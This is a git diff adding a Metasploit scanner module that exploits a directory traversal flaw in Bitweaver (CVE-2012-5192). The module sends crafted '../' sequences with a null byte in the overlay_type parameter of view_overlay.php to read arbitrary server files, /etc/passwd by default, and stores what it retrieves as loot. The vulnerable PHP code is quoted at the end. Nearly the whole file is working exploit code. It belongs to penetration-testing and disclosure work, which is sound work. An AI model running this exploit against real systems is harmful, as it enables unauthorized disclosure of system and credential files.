diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb
new file mode 100644
index 0000000000..999337b60c
--- /dev/null
+++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb
@@ -0,0 +1,111 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Bitweaver overlay_type Directory Traversal',
+ 'Description' => %q{
+ This module exploits a directory traversal vulnerability found in Bitweaver.
+ When hanlding the 'overlay_type' parameter, view_overlay.php fails to do any
+ path checking/filtering, which can be abused to read any file outside the
+ virtual directory.
+ },
+ 'References' =>
+ [
+ ['CVE', '2012-5192'],
+ ['OSVDB', '86599'],
+ ['EDB', '22216'],
+ ['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt']
+ ],
+ 'Author' =>
+ [
+ 'David Aaron', # Trustwave SpiderLabs
+ 'Jonathan Claudius', # Trustwave SpiderLabs
+ 'sinn3r' # Metasploit
+ ],
+ 'License' => MSF_LICENSE,
+ 'DisclosureDate' => "Oct 23 2012"
+ ))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The URI path to the web application', '/bitweaver/']),
+ OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
+ OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
+ ], self.class)
+ end
+
+
+ def run_host(ip)
+ base = target_uri.path
+ base << '/' if base[-1,1] != '/'
+
+ peer = "#{ip}:#{rport}"
+ fname = datastore['FILE']
+ fname = fname[1, fname.length] if fname =~ /^\//
+
+ print_status("#{peer} - Reading '#{datastore['FILE']}'")
+ traverse = "../" * datastore['DEPTH']
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'encode_params' => false,
+ 'uri' => "#{base}gmap/view_overlay.php",
+ 'vars_get' => {
+ 'overlay_type' => "#{traverse}#{fname}%00"
+ }
+ })
+
+ if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
+ print_error("#{peer} - Cannot read '#{fname}'. File does not exist.")
+
+ elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/
+ print_error("#{peer} - Cannot read '#{fname}'. Permission denied.")
+
+ elsif res and res.code == 200 and res.body =~ /Failed opening required/
+ print_error("#{peer} - Cannot read '#{fname}'. Possibly not vulnerable.")
+
+ elsif res and res.code == 200
+ data = res.body
+ data = (data.scan(/(.+)\n(
)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n
$/, '')
+
+ p = store_loot(
+ 'bitweaver.overlay_type',
+ 'application/octet-stream',
+ ip,
+ data,
+ fname
+ )
+
+ vprint_line(data)
+ print_good("#{peer} - #{datastore['FILE']} stored as '#{p}'")
+
+ else
+ print_error("#{peer} - Request failed due to some unknown reason")
+ end
+ end
+
+end
+
+=begin
+if( !empty( $_REQUEST['overlay_type'] ) ){
+ $type = $_REQUEST['overlay_type'];
+}
+
+// Now check permissions to access this page
+$gBitSystem->verifyPermission('p_gmap_overlay_view' );
+
+// Get the overlay for specified overylay_id
+require_once(GMAP_PKG_PATH.'lookup_'.$type.'_inc.php' );
+=end